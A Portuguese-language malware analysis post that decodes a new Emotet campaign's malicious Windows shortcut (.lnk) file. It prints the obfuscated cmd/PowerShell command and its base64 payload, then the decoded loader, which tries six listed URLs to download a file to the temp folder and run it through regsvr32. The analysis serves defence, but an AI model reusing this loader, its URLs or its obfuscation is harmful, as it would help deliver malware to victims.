Conheça novo método de disseminação do malware Emotet

Conheça o novo método de disseminação do malware Emotet e saiba como identificar

Por Alexandre SivieroO Emotet é um trojan espalhado predominantemente através de e-mails fraudulentos (malspam). A infecção pode chegar via script malicioso, ficheiros de documentos macro-enabled ou link malicioso. Os e-mails com Emotet pode conter promoções familiares concebidas de tal modo, que pareçam um e-mail legítimo.

Foi possível obter uma sample do Emotet usando o site do Triage.

Figura 1:site que contém sample

O foco deste relatório não é explicar detalhadamente o funcionamento do Emotet e sim uma forma de identificar e decodificar a versão mais recente de payload que o dissemina. Entretanto, forneceremos ao longo dele, nomes de funções e módulos envolvidos nessa criação, junto a referências que o leitor pode consultar caso deseje se aprofundar no assunto.

Ordem de desofuscação

Observa-se abaixo a sample extraída do Triage.

Figura 2: sample do arquivo

Diferente de campanhas passadas de disseminação dessa família de malware, não se trata de um documento do Office com macros maliciosas. A campanha atual utiliza arquivos de atalhos do Windows (extensão .lnk), tal qual o exemplo acima.

Para o início da análise inspecionamos as propriedades do atalho em questão:

Figura 3: propriedades do atalho

No campo target (alvo do atalho) notamos algo incomum para arquivos dessa natureza, a presença de um comando de Powershell para decodificar strings em base64. Infelizmente o conteúdo do alvo desse atalho é longo demais para a janela de propriedades do arquivo.

Para contornar isso utilizamos a ferramenta HxD, que permite visualizar o conteúdo de qualquer arquivo em hexadecimal. Na imagem a seguir é possível observar parte da string codificada em base64.

Como humanamente é impossível de compreender este tipo de string, com ajuda da ferramenta cyberchef, foi possível decodificar a String, encontrando o seguinte código:

Figura 4: visualização do atalho em hexadecimal

Após a tradução, é possível observar um pouco do código contido no arquivo. Nota-se o caminho \Windows\system32\cmd.exe, seguido de uma invocação do powershell (ofuscado como p.^.o.^.w.^.e.^.r.^.s.^.h.^.e.^.l.^.l…e.^.x.^.e) e da string em base64.

c.m.d…e.x.e………….\…..\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d…e.x. e.i./.v.:.o.n. ./.c.

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.(.[.s.t.r.i.n.g.].[.S.y.s.t.e.m…T.e.x.t…E.n.c.o.d.i.n.g.].:.:.A.S.C.I.I…G

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.0.b.H.l.D.b.2.5.0.a.W.5.1.Z.S.I.7.J.G.x.p.b.m.t.z.P.S.g.i.a.H.R.0.c.D.o.v.L.2.h

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.0.Z.1.F.3.e.G.l.j.N.F.F.3.d.U.0.v.I.i.w.i.a.H.R.0.c.D.o.v.L.3.d.3.d.y.5.n.Z.X.J

.v.b.n.R.v.Z.2.V.y.a.W.F.0.c.m.l.h.L.m.9.y.Z.y.9.0.b.X.A.v.Y.0.I.2.Y.2.d.U.V.m.Z

.5.e.V.o.z.Y.j.F.3.O.W.Q.v.I.i.w.i.a.H.R.0.c.D.o.v.L.2.N.s.d.W.J.t.Y.W.5.h.Z.2.V

.y.L.m.5.l.d.C.5.h.c.i.9.w.c.n.V.l.Y.m.E.v.V.k.5.x.c.3.g.z.N.j.h.G.S.H.F.L.S.y.8

.i.L.C.J.o.d.H.R.w.O.i.8.v.b.X.l.t.a.W.N.y.b.2.d.y.Z.W.V.u.L.m.1.p.Z.2.h.0.Y.2.9

.k.Z.S.5.j.b.2.0.v.R.m.9.4.L.U.M.v.b.m.h.N.W.X.d.r.R.l.h.C.L.y.I.s.I.m.h.0.d.H.A

.6.L.y.9.0.b.3.d.h.c.m.R.z.d.W.4.u.b.m.V.0.L.2.F.k.b.W.l.u.L.z.h.O.V.z.J.U.S.m.V

.Q.c.z.h.k.W.m.h.i.L.y.I.s.I.m.h.0.d.H.A.6.L.y.9.o.a.3.d.p.b.m.R.z.Y.W.N.h.Z.G.V

.t.e.S.5.z.e.W.5.v.b.G.9.n.e.S.5.t.Z.S.9.A.Z.W.F.E.a.X.I.v.c.U.g.y.R.U.h.1.d.l.l

.W.b.0.p.F.S.j.I.v.I.i.k.7.Z.m.9.y.Z.W.F.j.a.C.A.o.J.H.U.g.a.W.4.g.J.G.x.p.b.m.t

.z.K.S.B.7.d.H.J.5.I.H.t.J.V.1.I.g.J.H.U.g.L.U.9.1.d.E.Z.p.b.G.U.g.J.G.V.u.d.j.p

.U.R.U.1.Q.L.0.R.3.R.V.h.y.Y.2.d.O.W.G.o.u.U.X.l.V.O.1.J.l.Z.3.N.2.c.j.M.y.L.m.V

.4.Z.S.A.k.Z.W.5.2.O.l.R.F.T.V.A.v.R.H.d.F.W.H.J.j.Z.0.5.Y.a.i.5.R.e.V.U.7.Y.n.J

.l.Y.W.t.9.I.G.N.h.d.G.N.o.I.H.s.g.f.X.0.=.’.).).). .}.

Ao tentar traduzir a base64, observamos que os pontos entre caracteres são uma característica de armazenamento de strings em UTF16-LE (cada caractere é separado por um byte nulo, que é traduzido como “.”). Para facilitar a leitura, utilizamos um simples script em python para remover os pontos desnecessários:

string = [STRING EM UNICODE]

unistring = “”

for i in range(0, (len(string)-1)): if i == 0:

unistring += string[i] i+=1

if string[i-1] == “.”:

if string[i-2] == “.” and string[i] == “.”: pass

else:

unistring += string[i] i+=1

print(unistring)

Retornando o seguinte resultado:

“C:\Windows\system32\cmd.exe” /v:on /c DuXPqwjynhPK5p0TYcaCf4GkAtBWlJmPlwqd5qsnfHo5mVykNtcgeWN2kQLmacKqVARFEgFV||goto&p

^o^w^e^r^s^h^e^l^l.e^x^e -c “&{ iex ([string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64Str ing(‘JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2h vMjgwMzE5MDAxLmhvZ2liby5uZXQvaW5jbHVkZS90Z1F3eGljNFF3dU0vIiwiaHR0cDovL3d3dy5nZXJ vbnRvZ2VyaWF0cmlhLm9yZy90bXAvY0I2Y2dUVmZ5eVozYjF3OWQvIiwiaHR0cDovL2NsdWJtYW5hZ2V yLm5ldC5hci9wcnVlYmEvVk5xc3gzNjhGSHFLSy8iLCJodHRwOi8vbXltaWNyb2dyZWVuLm1pZ2h0Y29 kZS5jb20vRm94LUMvbmhNWXdrRlhCLyIsImh0dHA6Ly90b3dhcmRzdW4ubmV0L2FkbWluLzhOVzJUSmV QczhkWmhiLyIsImh0dHA6Ly9oa3dpbmRzYWNhZGVteS5zeW5vbG9neS5tZS9AZWFEaXIvcUgyRUh1dll Wb0pFSjIvIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjp URU1QL0R3RVhyY2dOWGouUXlVO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvRHdFWHJjZ05Yai5ReVU7YnJ lYWt9IGNhdGNoIHsgfX0=’))) }”

Com ajuda da ferramenta cyberchef é possível decodificar a string acima. Podemos finalmente ler com clareza as intenções do atacante:

$ProgressPreference=”SilentlyContinue”;

$links=(“http://ho280319001.hogibo.net/include/tgQwxic4QwuM/“, “http://www.gerontogeriatria.org/tmp/cB6cgTVfyyZ3b1w9d/“, “http://clubmanager.net.ar/prueba/VNqsx368FHqKK/“, “http://mymicrogreen.mightcode.com/Fox-C/nhMYwkFXB/“, “http://towardsun.net/admin/8NW2TJePs8dZhb/“, “http://hkwindsacademy.synology.me/@eaDir/qH2EHuvYVoJEJ2/“); for each ($u in $links) {

try {

IWR $u -OutFile $env:TEMP/DwEXrcgNXj.QyU; Regsvr32.exe $env:TEMP/DwEXrcgNXj.QyU;break

}

catch { }

}

O código acima possui seis URLs, contidas em uma variável de nome links. O loop em seguida tenta acessar um desses endereços, baixar seu conteúdo para a pasta temporária (env:TEMP/DwEXrcgNXj.QyU) e executá-lo por meio da aplicação regsvr32.exe (utilizada para execução de DLLs). Caso essa tentativa seja bem-sucedida, o loop é encerrado. A ideia por trás desse código é prover fontes alternativas para o payload final. Caso algum dos endereços esteja indisponível, o algoritmo tenta o mesmo procedimento para o próximo da lista.

Recomendações

Todos somos alvos do Emotet. Até à data, o Emotet já atingiu pessoas individuais, empresas e entidades governamentais por todo mundo, roubando logins bancários, dados financeiros e até carteiras de bitcoins.

Pode-se destacar um ataque do Emotet a cidade de Allentown, PA, que exigiu a ajuda direta da equipe de resposta a incidentes da Microsoft para efetuar a limpeza e implicado um custo de reparação superior a 1 milhão de dólares para a cidade.

Agora que o Emotet está sendo usado para descarregar e disseminar outros trojans bancários, a lista de alvos poderá ser ainda mais vasta. As primeiras versões do Emotet eram usadas para atacar clientes bancários na Alemanha. As versões posteriores do Emotet visavam organizações no Canadá, Reino Unido e nos Estados Unidos. Já as campanhas vistas no ano de 2022 tem foco em todo o mundo, um exemplo em que a linha do assunto era “buona pasqua, feliz páscoa”, mas anexado ao e-mail havia um arquivo XLS malicioso para disseminar e “instalar” o Emotet.

Referências

  1. https://pt.malwarebytes.com/emotet/
  2. https://www.checkpoint.com/press/2022/february-2022s-most-wanted-malware-emotet-remains- number-one-while-trickbot-slips-even-further-down-the-index/
  3. https://www.youtube.com/watch?v=-W4yZifokx0
  4. https://canaltech.com.br/seguranca/governo-do-japao-lanca-ferramenta-que-detecta-nova-versao- do-malware-emotet-215176/

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